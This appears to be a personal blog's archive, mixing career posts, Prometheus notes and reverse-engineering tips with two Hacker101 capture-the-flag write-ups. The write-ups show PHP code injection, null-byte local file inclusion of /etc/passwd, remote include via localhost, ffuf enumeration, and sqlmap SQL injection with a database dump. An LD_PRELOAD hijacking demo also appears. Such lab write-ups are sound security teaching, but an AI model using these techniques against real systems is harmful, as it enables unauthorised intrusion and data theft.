Being trusted is not enough when you don’t have control over your own time. Being unable to focus on a particular problem due to frequent context switching is a big source of personal stress. Something that helped me in this regard and that I will keep improving on is to strategically arrange my calendar to have blocks of dedicated time to focus on a problem. I’ve achieved some success by blocking my calendar for a few hours every day and clustering meetings in the morning or afternoon.

You can also reduce the amount of context switching by making sure your work is visible. This can be done by talking directly to your manager and explaining all the things that are stealing your focus, your manager can help you by delegating work to others or prioritizing efforts. It’s also worthwhile to do your work in public. Avoid handling work on private messages, instead move the discussion to public channels and involve other teammates when possible.

Momentum

I find this is a topic that is not discussed enough in the context of burnout. The feeling of making constant progress really motivates me and I get a lot of energy from it. This is also the time where I have the most context about a particular domain, so it’s the time where I can collaborate with others more effectively. Finding ways to protect this momentum is something that I’m still working on.

Striving to have good documentation and clear next steps for myself and others is a big part of this. Having good documentation for my projects not only increases the chances of having more people that can contribute to it, but it also helps me to get back on track after a break. Both of these things are really important to keep momentum going.

Pair programming with peers that are as motivated as me to work on a project tends to increase my momentum. We tend to feed off each other’s energy and bounce ideas really quickly with the added benefit of a quick code review cycle.

Something else that I’ve learned the hard way is that just because a project is a priority for you or your team, it doesn’t mean it’s a priority for other teams around you. My general rule of thumb at this point is to always make sure that teams that my project depends on are treating my project with a similar level of priority. If that’s not the case, I will likely lose momentum waiting for code reviews, feedback or features.

Last but not least, managing my time effectively is also a big part of this, so the same tips from the previous section apply here.

Recognition

Working on something that is not recognized by your peers or leadership is really demotivating. The lesson I’ve learned here is that I should make my own work visible to my manager and leadership and make sure that they are aligned with it. Working asynchronously makes this even more important, it’s really easy to spend hours per week helping others in obscure Slack channels and direct messages and not having anything to show for it. These days I simply share a weekly update with my manager summarizing these interactions and the impact they had on my work. It also helps my manager to identify silos and bottlenecks in the team.

Changes in management or leadership are special cases where I tend to be extra verbose about my work. The earlier I communicate, the sooner I can get feedback and adjust my work accordingly, or make my case for why I’m working on something and it should be a priority.

Recognizing your peers is also important and an area that I’m still working on.

Values

Over time I’ve noticed that it’s common for companies (orgs, teams) to shift their values depending on the stage they are in. This is not necessarily a bad thing, but it’s something I’ve learned to be aware of. Is the work I’m asked to do aligned with my values? Are the people around me open for change and feedback? Am I willing to change my values to align with theirs? If not, it might be time to move teams or companies.

This might be understood as an “us versus them” mentality and that is absolutely not what I want to convey here. You are part of a team and should have explicit conversations about culture and values with your teammates. You are not subject to circumstances, you can help shape outcomes even when faced with challenging situations.

Community

I’ve noticed that I’m much more likely to lose energy if I don’t have people around me to collaborate and interact with. Helping and being helped by others is a big source of motivation for me and I cannot remember a time where I had momentum and did not have others to collaborate with.

Pair programming, good documentation and selling your project to others are tools I’ve used to increase my chances of having others to collaborate with. I’ve learned to be more deliberate about making sure I’m not working in a silo and that it’s fine to ask for help from your peers or managers. People are generally happy to help if they can.

Doing things that energize you

Preserving time for things that fuel me is one of the most important aspects to avoid burnout. This can be partially done at work, but it’s usually related to hobbies that happen outside of work. For me that would involve activities like climbing, hiking or playing games with friends. If I don’t take time to actively do those things because I’m tired or stressed, things snowball fast. Make sure to do the things you love, even if you don’t feel motivated to do them. For example, sometimes I go climbing even when I feel like doing nothing and once I’m at the climbing gym I end up having a great time and feeling much better.

Conclusion

You might have noticed that I’ve not listed things like “poor management”, “poor leadership” or “lack of rewards”. These are not things that I can control, so I’ve tried to focus on things that I can control or influence and that have helped me in the past. I’m also sure there are other patterns and nuances that I’m failing to capture here, so please reach out if you have any feedback or suggestions, I would love to hear from you. See you next time!

Reverse Engineering Tips

Sun, 28 Apr 2024 08:00:00 GMT

This blog post will be very different from my usual ones in which we either have a problem to solve or some idea to explore. This time we will have a disjointed set of techniques vaguely related to reverse engineering.

Locating main in a stripped binary

The TL;DR; is that __libc_start_main() receives the address of main as its first argument, so we can:

Use readelf to find the address of __libc_start_main()
Check the address that is being called from it, which will be main

That would be:

$ readelf -h <binary> | grep Entry
Entry point address:               0x103120

Then we can gdb our way through it:

$ gdb ./<binary>

> b *0x103120
> run

Now we can step through a few instructions until we hit the CALL instruction to __libc_start_main(). Since the first argument will be our main address we can inspect the value of rdi before the call and break on that address.

Deriving the meaning of argument masks

Let’s say we have a command like the following one in our binary:

char* buf = mmap(nullptr, _init, 0, 0x21, 0xffffffff, 0);

We know that mmap expects the following arguments:

void * mmap(void *addr, size_t len, int prot, int flags, int fd, off_t offset);

But prot and flags are a conjunction of ored values. So how do we figured out what 0 and 0x21 means for the proto and flags arguments?

The first thing to figure out is the name of the header file responsible for mmap. Luckily man can give us an answer.

$ man 2 mmap

NAME
     mmap – allocate memory, or map files or devices into memory

SYNOPSIS
     #include <sys/mman.h>

Now we can use gcc with the following flags:

-E to only run the preprocessor
- to receive the input from stdin
-dM to print macro definitions in -E mode instead of normal output

Putting all of those together we can find the values for proto and flags by checking in our man pages for the expected flag formats:

echo '#include <sys/mman.h>' | gcc -E - -dM | rg "MAP_"
#define MAP_32BIT 0x8000
#define MAP_ANON 0x1000
...
#define MAP_SHARED 0x0001

and

$ echo '#include <sys/mman.h>' | gcc -E - -dM | rg "PROT_"
#define PROT_EXEC 0x04
#define PROT_NONE 0x00
#define PROT_READ 0x01
#define PROT_WRITE 0x02

In the case of mmap we can also check the output of the function call with info proc mappings.

Figuring out headers search path

We can use gcc to give us this answer.

$ gcc -E -Wp,-v -xc /dev/null

# ...
#include "..." search starts here:
#include <...> search starts here:
 /usr/local/include
 ...
End of search list.

gcc --help has a nice explanation for each of those flags.

“Replacing” functions in dynamically linked binaries

We an use LD_PRELOAD to call our own version of our functions instead of whatever else is being dynamically linked to it. Let’s say we have a binary like this one:

#include <stdio.h>

void main() {
  puts("Original");
}

We can compile our own shared library with our own puts function:

#include <stdio.h>

int puts(const char *s) {
  printf("Hijacked");

  return 0;
}

Now need to compile it as a shared library:

$ gcc our_puts.c -o our_puts.so -fPIC -shared -ldl

Finally we can execute our binary:

$ LD_PRELOAD="./our_puts.so" ./binary
Hijacked

What if we also want to use the value of the original function?

#define _GNU_SOURCE
#include <dlfcn.h>
#include <stdio.h>

// This will be the pointer to our original puts function
int (*original_puts)(const char *s);

int puts(const char *s) {
  if(!original_puts) {
    original_puts = dlsym(RTLD_NEXT, "puts");
  }

  printf("Still hijacked");

  return original_puts(s);
}

We are using dlsym with RTLD_NEXT from dlfcn.h to get the pointer to the next version of puts in our preload chain.

Notice the #define _GNU_SOURCE in the beginning of our source code. It has to be defined according to our man pages in order for RTLD_NEXT to be defined as we can see in the snippet below:

The _GNU_SOURCE feature test macro must be defined in order to
obtain the definitions of RTLD_DEFAULT and RTLD_NEXT from
<dlfcn.h>.

$ gcc our_puts.c -o our_puts.so -fPIC -shared -ldl`

Finally we can execute our binary:

$ LD_PRELOAD="./our_puts.so" ./binary
Still hijacked
Original

Conclusion

This is an area that I’m not familiar with, so these techniques are likely not optimal. If you have better (or different) ways to achieve what has been demonstrated please reach out and share it with me. See you next time!

Communicating technical projects

Tue, 28 Nov 2023 18:00:00 GMT

As you progress in your career and/or your company grows and becomes more structured, you will find yourself in a position where you need to communicate with a broader audience that might not be entirely familiar with the problem you are trying to solve.. This is a great opportunity to showcase your work and the work of your team, but it can also be a source of anxiety if you are not used to it.

In this post I will share some tips that have helped me in the past and mistakes I’ve made along the way.

Why is this challenging?

Let’s be honest, we are simply not used to it. When we are early in our careers most of our communication is done with our peers or direct managers, who are also familiar with the problem we are trying to solve and the context around it. Our careers are also overindexed on technical skills, so we tend to focus on communicating the technical aspects of our work. This goes on for a while and we get really good at it, we are able to communicate complex technical problems and solutions in a way that is understandable to our peers.

Things start shifting as we progress in our careers and soon our audience starts changing, expanding might be a better word. Suddenly we are tasked with communicating with an audience that might not be familiar with the problem we are trying to solve. It starts gradually, maybe you are asked to present your work in a team meeting, or maybe you are now the face of your team when interacting with an adjacent team across the company. Maybe your are even leading a project? If you got here, you will be the person with the most context in a particular situation more often than not.

So how do we adjust our communication style and get better at it?

Identify your audience

This is the most important step in my opinion and it’s also the one that is most often overlooked. You need to understand who you are communicating with and what is the message you want to convey. This will help you tailor your message to your audience and avoid wasting time on back and forths simply because you are not communicating in a way that is understandable to them.

This used to happen fairly frequently in conversations between me and my wife. I would be talking about a technical problem I was trying to solve and she simply didn’t have the required context to understand what I was talking about, forcing her to ask clarifying questions that I would struggle to answer without the usual technical jargon. It also happened the other way around, she would be talking about marketing concepts and acronyms that I was not familiar with and we would end up in the same situation. “We are optimizing CAC across diverse acquisition channels and fine-tuning from TOFU to BOFU.”, simple stuff right? Sure.

Of course over time we learned things from each other’s fields and this became less of an issue, but it was a great opportunity to learn how to communicate with a different audience. You will likely not spend as much time with your audience as you do with your partner or friends, so you need to be more deliberate about it.

In summary, the first question to ask yourself is:

“Who is my audience?”

Are they technical? What are they familiar with? What is their area of expertise? What is their interest in the topic? As you can see asking yourself that first question will lead you to other questions that might help you identify your audience and tailor your message. Let’s see how we can do that.

Tailor your message

As a general rule of thumb, it is often more important to communicate the what and the why than the how. You should focus on the problem you are trying to solve and how your solution solves it. If your audience is interested in the how they will ask you about it and in this case you can go deeper into the technical details of your solution. Avoid jargon and acronyms that are not common knowledge. If you need to use them, make sure to explain what they mean.

Let’s look at an example:

Situation 1

You are trying to solve a bottleneck in your Kafka consumers after noticing that your application is not processing messages fast enough. This is causing your order processing to be delayed and your customers are not receiving their order confirmation emails in a timely manner. Your solution included scaling your Kafka consumers horizontally, optimizing some database queries and also removing synchronous calls to your email service by using background jobs.

How do we communicate the problem?

Unless your audience is also hands-on in your application, the terms Kafka, consumers, background jobs and database queries are not going to be very helpful. Instead, you can focus on the problem you are trying to solve. Something like: “We noticed that our customers are not receiving their order confirmation emails in a timely manner, this is causing a lot of confusion and frustration. We are working on a solution to fix this.”

How do we communicate the solution?

Again, unless your audience is also hands-on in your application, the terms Kafka, consumers, background jobs and database queries are not going to be very helpful. Instead, you can focus on the solution you are implementing. Something like: “We are scaling our email processing to handle more emails per second, this will allow us to send order confirmation emails faster and avoid delays. After our changes we noticed that our email delay went from 10 minutes to 1 minute on average.”

I can guarantee that your audience will be extremely happy to hear about that update, and if they are interested in the technical details they will ask you about it.

But things are not always that simple, let’s look at another example:

Situation 2

You have a project in your hands to solve the problem of tracking the number of security issues across your organization. Leadership already acknowledged that this is a problem and they are looking for a solution. You are tasked with coming up with a solution and are now presenting the current state of the project to the broader organization over the past week or so.

How do we communicate the problem?

Your probably don’t. They already know the problem at hand, especially if it is documented somewhere. You can remind them if you feel this will help, but you should focus on the solution you are proposing.

How do we communicate the solution?

This is where things get interesting. You are mid way through your project and you are heads-down on the technical details of your solution. You are probably thinking about the database schema, how to create dashboards, etc. But your audience is not interested in that, they want to know how this will help them. Again, you should focus on the what and the why of your solution.

So let’s say you managed to implement half of our intended solution so far and it involves surfacing data in a dashboard somewhere and also modeling the data in a database. Why is the dashboard important? Because it will allow us to track the number of security issues across the organization and also identify trends. Why is the database important? Because it will allow us to store the data in a way that is easy to query and also respond to questions that our stakeholders likely care about like “How many security issues did we have last month?” or “How many security issues are past their SLA?“.

This brings us to the other two questions to ask yourself:

“What does my audience care about?”
“What is the best way to convey this message?”

Ask for feedback

This is a great way to improve your communication skills. Your peers and managers will be glad to help you improve your communication skills since they are the ones directly benefiting from it. Ask for actionable feedback, you want to receive something like “I noticed that you used a lot of acronyms in your presentation, I think it would be helpful to explain what they mean.” since it is much more helpful than “I didn’t understand what you were talking about.”.

Use visuals

Using visuals is a great way to convey your message. It can be a diagram, a graph, a screenshot or even a video. Besides being more engaging, it also prevents your from being overly technical since you will be condensing your message into a visual representation. It also helps you identify gaps in your message.

Empathize with your audience

Empathize with your audience. Put yourself in their shoes and think about what they would like to hear. I’m sure there were moments where you were part of the audience and wished for a different delivery.

Be concise

Is your audience time constrained? If so, you should focus on the most important things and avoid going into too much detail. Always assume that this is the case, unless you have a reason to believe otherwise. You can always share more details later if they are interested.

Conclusion

Getting better at communicating technical projects is a great way to showcase your work and the work of your team. It is also a great way to build trust with your peers and managers. It is a skill that is often overlooked and it is not something that we are used to doing, but it is a great way to learn and grow. Here are the three questions to ask yourself:

“Who is my audience?”
“What does my audience care about?”
“What is the best way to convey this message?”

I hope this was helpful, if you have any feedback or questions please reach out to me! See you next time.

Prometheus onboarding

Mon, 27 Feb 2023 08:00:00 GMT

Prometheus is an open-source systems monitoring and alerting toolkit. It collects and stores its metrics as time series data, i.e. metrics information is stored with the timestamp at which it was recorded, alongside optional key-value pairs called labels.

Disclaimer

I’m only covering Prometheus from an end-user perspective. This means we will investigate concepts related to metrics and querying while completely skipping infrastructure topics like installation, configuration or instrumentation.

Intro

Recently I’ve been migrating dashboards from Datadog to Prometheus, the goal of this post is to showcase concepts that could have helped me understand how to better query and represent metrics in Prometheus.

Queries and Vectors

Having grasped the terminology early on would have helped me understand why certain queries were not working or returning unexpected results.

query or range_query are API calls fetching data
instant vector or range vector is the shape of the data returned by your queries

In Prometheus we have one of the following combinations:

Query returning an instant vector

This is a query that returns a single vector containing a timestamp and the value associated with this timestamp for each combination of labels we are querying for.

Suppose we have a counter (some value that can only go up) called products_sold_total and that we have two distinct instances in our application. Querying for the following:

products_sold_total

Would produce something like:

Name	Counter
products_sold_total{“instance”=“a”}	1000
products_sold_total{“instance”=“b”}	834

Query returning a vector of instant vectors

You can think of this combination as running a query that returns an instant vector multiple times in distinct timestamps.

This result can be graphed since Prometheus can use each value per timestamp.

Query returning a range vector

This is a query that returns a vector containing multiple timestamps with its associated values. It is important to mention that these events are still nested under a single timestamp. This is the return of a query like:

products_sold_total[1m]

The value [1m] means that we want all events happening in the range timestamp + 1m. Let’s see what this would return:

Name	Counter
products_sold_total{“instance”=“a”}	[1000@1677381615,
	1002@1677381630,
	1003@1677381645,
	1007@1677381700]


products_sold_total{“instance”=“b”}	[834@1677381615,
	837@1677381630,
	840@1677381645,
	845@1677381700]

Where the counter is represented as [<value_1>@<timestamp_1>, ..., <value_n>@<timestamp_n>]. In other words, it is now a vector containing a range of events.

Query returning a vector of range vectors

You can think of this combination as running a query that returns a range vector multiple times in distinct timestamps.

We cannot graph this result since Prometheus cannot use multiple values for a single timestamp. Remember that every range vector is still nested under a timestamp.

If you are a visual person, suppose our range is [3s] and we are starting on T1 (timestamp at second 1), this is how I visualize the data:

[
  T1-3: [event_1, event_2, ..., event_n], # Where T1-3 represents the timestamp from second 1 to 3
  T2-4: [event_1, event_2, ..., event_n], # Where T2-4 represents the timestamp from second 2 to 4
  T3-5: [event_1, event_2, ..., event_n], # ...
  T4-6: [event_1, event_2, ..., event_n]  # ...
]

So we have a vector of range vector elements.

What can we do in this case to graph results?

We would need to use a function like rate to aggregate this range of events into an average. This would result in a single timestamp containing a single value symbolizing the growth rate of our counter under that particular time frame. In summary, we transformed our result into multiple instant vectors.

Which range should I use?

We are mostly interested in using $__rate_interval when dealing with the rate() function.
We are mostly interested in using $__range when displaying a simple counter (no graphs).
- It will provide a single range vector containing all the events for the time window we are inspecting.

What about $__interval? I’m mostly ignoring it for now since $__rate_interval seems to cover everything $__interval does and also addresses some downsides of using it.

I highly recommend this blog post for this particular topic.

Mental model for queries

The way I’m currently thinking about queries is by using the following mental model:

[] ([1m], [10m], ..) affects the API call that will return the data
{} (products_sold_total{instance="a"}) filters the data returned by our API call
Functions like rate() or sum() modifies the data returned by our API call

Knowing that, these are the troubleshooting steps I follow:

Is my query returning the expected data?
- If not, then I need to play with the [] and the time window I’m inspecting
- If yes, go to the next step
The data is correct, but my graph is not showing the expected result
- Play with the {} to make sure I’m filtering the data correctly
- Investigate the functions I’m using to make sure they are returning the expected result

Scrape interval, Interval, Steps

This video is a great intro into the subject and also does an amazing job at explaining rates, queries and pretty much every subject that this post mentioned so far.

Sum of rate

And by this I’m talking about a query like the following:

sum(rate(products_sold[1m]))

Suppose our web application has three different instances, each with a distinct rate:

Name	Rate
products_sold_total{“instance”=“a”}	30.2
products_sold_total{“instance”=“b”}	11.7
products_sold_total{“instance”=“c”}	20.1

sum() will merge these into a single rate and produce the total: 30.2 + 11.7 + 20.1.

If our metric had multiple dimensions (labels) we could tell sum() to operate in a subset of these dimensions. Let’s say we have multiple flows to sell a product and these were represented in our metrics with the label flow. We could do:

sum by (flow) (rate(products_sold[1m]))

And this would sum() the rate value of distinct flows while aggregating every other dimension (label).

The aggregation operators section helped me with the syntax and examples.

Metric types

One of the first things I should have done is investigate the characteristics of each metric type in depth. There are not too many, but each one has their own characteristics and constraints. Let’s see some problems that I’ve faced due to my lack of understanding of some of these metric types.

Counter

It can produce decimal numbers for slow counters (not too many events) under a time range since Prometheus extrapolates these events to smooth things out and produce the correct result in aggregate. See this issue for more context.

Gauge

We can use a gauge metric type to count things, but since it can go up or down we cannot use functions like rate() or increase().

Histogram

Before anything, please make sure your buckets are configured according to the values your application expects. For example, if your application makes HTTP requests to an API and they usually take 200ms, having buckets that starts at 300ms will make your metrics mostly useless since 99% of your requests will be part of the first bucket, making it impossible to measure the true pX (p50, p95, p99. ..) values.

Histogram’s in Prometheus are cumulative. Suppose we had a histogram like the following:

Bucket	Count
100ms	5
200ms	3
300ms	10

In Prometheus this is represented as:

Bucket	Count
100ms	5
200ms	8
300ms	23

The 200ms bucket will hold values from its own bucket + the 100ms bucket, while the 300ms bucket will hold values from its own bucket + every other bucket lower than it. This can be rally confusing at first when we are just starting to build our dashboards.

Anything else?

It’s still early days in my Prometheus journey, if I’m misinterpreting things or missing crucial information please reach out to me and I will gladly adjust this post. I would also appreciate if you share resources that helped you along your journey, there’s also something new to be learned!

Seeking context for better outcomes

Sun, 30 Oct 2022 12:30:00 GMT

At face value the statement provided in our title seems quite obvious, right? If we know more about something we are bound to make better decisions. Can’t we just agree on it and go our separate ways? Unfortunately not. It is common enough to stumble upon decision making events in which people don’t have the necessary context that I feel it’s warranted to expand on the topic.

Let’s start with a hypothetical scenario and we will see how the same question can provide different answers depending on the context. Let’s use Q for questions and A for answers. Let’s also define questioner as someone who asks a question and answerer as the one answering it.

Q: “Hello! I’m trying to understand the security risk in allowing fetch requests with credentials: ‘include’ in a Web Worker.”
A: “Since it’s up to the server to decide if it should accept cross origin requests with credentials or not, there’s no extra security risks associated with it.”

There’s nothing inherently wrong with this conversation, but the answerer didn’t learn anything about the context in which the question was coming from. Let’s dig deeper:

Q: “Hello! I’m trying to understand the security risk in allowing fetch requests with credentials: ‘include’ in a Web Worker.”
A: “What did you have in mind as a security risk? Could you share a bit more about the context where these fetch requests are coming from?”
Q: “I’m not sure if allowing credentials: ‘include’ could leak information to a third party. We have third party code running in the Web Worker.”
A: “Thanks for the extra context! Are you using importScripts to import and run third party code?”
Q: “Exactly!”

This is a much better outcome! We would never have known that third party code was being executed and that’s what prompted the questioner to reach out in the first place. Now a few things should be considered:

Do we have logged in users?
What is preventing third party code from triggering fetch requests on behalf of such a user?
Are cookies HttpOnly? If not, these can also be leaked to the third party involved.
Is it a Web Worker or can it be a Service Worker?

This example is based on a real conversation where we had to restrict fetch requests, make sure cookies were HttpOnly and that there were no SameSite cookies from different subdomains being exposed. We would never have learned about this use case if we didn’t take our time to understand where the question was coming from.

Seeking context

Questions like these pop up every day and are not exclusive to Application Security. How many times has someone came to you with a question like:

Q: “Hi! I’m trying to do X but it’s not working. Can you help me?”

I’m betting that at least once you just took the question at face value and said:

A: “Just do ABC.”

And this is completely fine when both of you share the same context. That is, it’s fine most of the time. How do you know whether X is even the right thing to do if you don’t know the questioner’s goal?

Which brings us to a few things to keep in mind when answering a question:

Do you know the underlying context behind the question?
- This might imply knowledge of the codebase or feature
- It might also imply historical knowledge of past projects or explorations
Do you know what is trying to be achieved?

If the answer for any of those is “no” or “maybe” follow up with probing questions and you might be surprised about the outcome. Here are a few questions that might help you start the conversation in no particular order of importance:

Could you explain a bit more about what you are trying to do?
- Do we have any constraints?
- What have you tried before?
- Where did this ask/need come from?
Is there anything I can read about the topic?
- Documentation / RFC / Project Proposal
- Pull request / code snippet
- Videos / Blog posts
Just to make sure we are on the same page, do you mean X with this?
- Sometimes agreeing on what the right question is is half of the battle

From my point of view seeking context is usually more important than not because questioners assume that the answerer has the same context as them. “If I know this, other people should also know it” is the usual thought process and is especially common in questions from more junior team members towards senior teammates.

Note that I’m not claiming that people should be more verbose on a daily basis. Sharing context is about sharing the key information required for someone to make informed decisions. There’s no need to recount the entire project history (most of the time) for someone to be able to talk about a particular feature or piece of code.

We can argue that there’s no way we can learn the necessary context behind every question thrown our way on a daily basis and that is likely true, but there’s an interesting phenomenon that happens when you start asking a follow up question or two before answering. Suddenly the amount of exchanges per question decreases rather than increasing since both questioner and answerer tend to be on the same page. This also gives the answerer the opportunity to forward the question to someone that already has the necessary context, which is equivalent to triaging questions.

So next time you are faced with a question, be curious. I guarantee that when you start seeking context you will frequently learn new things and provide better support in your day to day. It will even increase the amount of trust people have in you. Seek first to understand, then to be understood. See you in our next blog post!

Cody's First Blog writeup

Mon, 24 Oct 2022 09:30:00 GMT

This is the next challenge from Hacker101 CTF after Photo Gallery. This is a web challenge rated as moderate.

Introduction

This seems to be a small service that allows someone to add a comment that will later be reviewed by someone. This is further validated by the message that we receive after posting a comment:

Comment submitted and awaiting approval!

The main page also has an interesting snippet:

First post! I built this blog engine around one basic concept:
PHP doesn't need a template language because it is a template language.
This server can't talk to the outside world and nobody but me can upload files,
so there's no risk in just using include().

So we know this server is running PHP and inspecting network requests confirms our theory, we are running:

Server: openresty/1.21.4.1
x-powered-by: PHP/5.5.9-1ubuntu4.24

Before trying to exploit anything it’s always worth doing some more recon, in this case reading the source code of the page gives us another good hint:

Going to https://<subdomain>.ctf.hacker101.com/?page=admin.auth.inc displays a simple login page.

At this point I have a few thoughts on my mind:

Can we inject PHP on the comment form?
Can we exploit this page parameter in the URL to access other pages? The hint about include seems relevant here.
Can we obtain the cookies from an admin through XSS that is injected in a comment that will be later reviewed?
Can we use SQL injection to bypass the login or dump the database?

First flag

Let’s create a post with the following contents to see if we can inject PHP:

<?php echo "test" ?>

And submitting it yields our first flag!

^FLAG^<flag>$FLAG$

Comment submitted and awaiting approval!

Go back

We can’t see the contents of the comment because it’s still awaiting approval, so maybe we will need to login as admin at some point. Before we do that though let’s try to abuse the page parameter in the URL.

Playing with the page parameter

Let’s give the page a file name that we know exists like page=/etc/passwd. Doing so yields the following error message:

Warning: include(/etc/passwd.php): failed to open stream: No such file or directory in /app/index.php on line 21
  
Warning: include(): Failed opening '/etc/passwd.php' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21

This is a lot of good information since we now know where the application lives in the filesystem and also the file that loads the main page. We also know that whatever we give to the page parameter will try to be loaded as a file. Finally, we see that the .php extension is being added to the parameter we provided. Can we somehow bypass this with a NULL byte terminator (%00)?

When we try to access /etc/passwd%00 we don’t receive the warning that the file doesn’t exist, but we receive:

Notice: Undefined variable: title in /app/index.php on line 30

Warning: include(): Failed opening '/etc/passwd' for inclusion (include_path='.:/usr/share/php:/usr/share/pear') in /app/index.php on line 21

So our theory was correct, we can bypass the .php extension by using a NULL byte terminator (%00). At this point we might be able to enumerate valid files using something like ffuf, but let’s explore our login page beforehand.

Admin access and second flag

Our first check is to see if our login is vulnerable to SQL Injection, but trying variations of a' OR 1=1; -- in our Username or Password doesn’t leak anything. Independently of what we send we always receive the same message:

Incorrect username or password

At this point I’m convinced that we should enumerate pages using ffuf and see if we can find anything interesting:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -u https://<subdomain>.ctf.hacker101.com/?page=FUZZ -e ".php,.inc" -fr "Undefined"

home.inc     [Status: 200, Size: 949, Words: 109, Lines: 27]
index        [Status: 200, Size: 158, Words: 22, Lines: 3]
admin.inc    [Status: 200, Size: 805, Words: 33, Lines: 31]
...

A few things to note here:

We are searching for .php and .inc file extensions with the -e flag.
We know that when a file doesn’t exist we receive a response with Notice: Undefined variable: title in /app/index.php on line 30, so we are filtering out those results with the -fr flag.
What is this admin.inc file?!

Trying to access https://<subdomain>.ctf.hacker101.com/?page=admin.inc actually allows us to become admin! Not only that, right at the bottom of the page we can see our second flag!

Admin flag is ^FLAG^<flag>$FLAG$

We also see our previous comment that we posted with the PHP code waiting for approval!

Third flag

After approving our pending comment and going back to the main page we can’t see our comment. Inspecting the HTML shows why:

<p></p>

Our comment is being HTML escaped! How can we make our comments actually run PHP code?

Loading from localhost

I got lucky here and remembered that PHP has a configuration directive called allow_url_include that allows us to load files from a URL as opposed to a local file path. This is a dangerous directive that should rarely be enabled in production, but it’s enabled in this challenge. We can use this to load files from our localhost and bypass the HTML escaping.

Calling https://<subdomain>.ctf.hacker101.com/?page=http://localhost/index actually makes our echo 'test' output test to the page. This works because we are forcing the server to interpret PHP twice. This might not be obvious at a first glance, so let’s try to explain things step by step:

We request https://<subdomain>.ctf.hacker101.com/?page=http://localhost/index to the server
The server starts interpreting our index.php page
We reach the include statement that causes a second request to the server in the form of http://localhost/index. Notice that this request doesn’t have the page parameter, which will prevent us from hitting an infinite loop.
This second request will return our comments, which contains: <?php echo 'test' ?>
This gets returned to the main request, which now contains our comments. These comments are now interpreted as PHP code since they are part of the main page.

Now that we are able to execute PHP code we can start reading files from our server. Let’s create a comment with the following contents:

<?php echo file_get_contents('index.php') ?>

Now we do:

Go to ?page=admin.inc and approve our comment
Load ?page=http://localhost/index
Inspect the HTML
Get our third and last flag!

// ^FLAG^<flag>$FLAG$
mysql_connect("localhost", "root", "");
mysql_select_db("level4");
$page = isset($_GET['page']) ? $_GET['page'] : 'home.inc';
if(strpos($page, ':') !== false && substr($page, 0, 5) !== "http:")
  $page = "home.inc";

if(isset($_POST['body'])) {
// ...

Conclusion

This was a fun challenge that required a bit of PHP knowledge, enumeration and taught us about the dangers of allow_url_include. I’m not sure how realistic the admin.auth.inc to admin.inc is, but allowing it to be found through enumeration was a fun touch.

Thanks for reading and I will see you in our next post!

Photo Gallery walkthrough

Sun, 16 Oct 2022 09:30:00 GMT

This is the next challenge from Hacker101 CTF after Encrypted Pastebin. This is a web challenge rated as moderate. Let’s dive right into it.

Recon

The homepage displays three images, but the last one doesn’t render correctly. The first thing I tend to do when using a new service is to understand on a higher level how it works. Let’s inspect the source code and the network calls made by the page.

In our network tab we notice calls to the endpoint /fetch=<id>. It’s also interesting that the id with value 3 causes an Internal Server error while ids 1 and 2 are fine. Let’s keep that in mind since the service might be vulnerable to an IDOR or SQLi.

In order to find hidden ids I like to use ffuf to fuzz values. Let’s create a range.txt file with 50 ids and feed those to ffuf.

$ range 50 > range.txt
$ ffuf -w range.txt --mc "all" -u https://<subdomain>.ctf.hacker101.com/fetch?id=FUZZ
...

Nothing stands out here, only the first two images returns status 200. In this case I used --mc "all" to display every response irrespective of status code since I wanted to see if we could find other ids that would give us an Internal Server Error, but we couldn’t find any other one besides 3, which we already knew about.

Sometimes endpoints respond to other HTTP methods besides the usual GET, is that the case here? Let’s try to see if our endpoint responds to a POST request.

$ curl -X POST https://<subdomain>.ctf.hacker101.com/fetch
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>405 Method Not Allowed</title>
<h1>Method Not Allowed</h1>
<p>The method is not allowed for the requested URL.</p>

Seems like it doesn’t. Maybe we should try to discover more endpoints in this service. Let’s use ffuf yet again with a different wordlist.

$ ffuf -w /usr/share/wordlists/dirb/common.txt -u https://<subdomain>.ctf.hacker101.com/FUZZ
...

No interesting results yet again! At this point my idea is to find out if we can abuse the id query parameter in any way. Passing the value foo to it generates a 500 (internal server error), which is interesting. Passing "foo" returns a 404 status code.

At this point I’m convinced our input is causing some kind of internal query (hopefully SQL) to error out, but we don’t have access to the output. Passing "1" instead of 1 makes the server return something interesting:

����JFIF�����ExifMM*JR(1Z�ih��paint.net 4.1��zzUNICODECREATOR: gd-jpeg v1.0 (using IJG JPEG v62), quality = 90 ��C  #,%!*!&4'*./121%6:60:,010��C  0  00000000000000000000000000000000000000000000000000����"�� ���}!1AQa"q2���#B��R��$3br�
...

Passing "2" also returns a similar output, but passing something like "100" returns a not found status. I’m convinced that we can exploit this somehow, so let’s turn to sqlmap to try all sorts of techniques for us.

SQL Injection

$ sqlmap -u https://<subdomain>.ctf.hacker101.com/login?id=1 -p "id" --dump
...
[18:23:58] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 OR time-based blind (SLEEP)' injectable 
...
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 312 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: id=1 AND 9950=9950

    Type: time-based blind
    Title: MySQL >= 5.0.12 OR time-based blind (SLEEP)
    Payload: id=1 OR SLEEP(5)
---
[18:26:52] [INFO] the back-end DBMS is MySQL

And as we thought that endpoint was vulnerable to SQL injection! Here’s the dump of the database:

Database: level5
Table: albums
[1 entry]
+----+---------+
| id | title   |
+----+---------+
| 1  | Kittens |
+----+---------+

Table: photos
[3 entries]
+----+------------------+--------+------------------------------------------------------------------+
| id | title            | parent | filename                                                         |
+----+------------------+--------+------------------------------------------------------------------+
| 1  | Utterly adorable | 1      | files/adorable.jpg                                               |
| 2  | Purrfect         | 1      | files/purrfect.jpg                                               |
| 3  | Invisible        | 1      | <flag> |
+----+------------------+--------+------------------------------------------------------------------+

Now we know the tables and columns and we can have an idea of how the server works. I would bet the query triggered from /fetch?id=<id> is something like:

SELECT filename FROM photos where id = <id>;

This implies that the server loads whatever filename it gets from the database and sends it back to the client. Can we load other files besides our images? Let’s keep this in mind after investigating the third entry in the photos table.

The query to id number 3 returns 500 because that file seems to be missing. Lucky for us that missing file is our first flag!

Arbitrary file loading

Let’s get back to our hypothesis that we can load files from our server. Would it be possible to load any file using a query like the one below?

SELECT filename FROM photos where id = 4 UNION SELECT '<our file>';

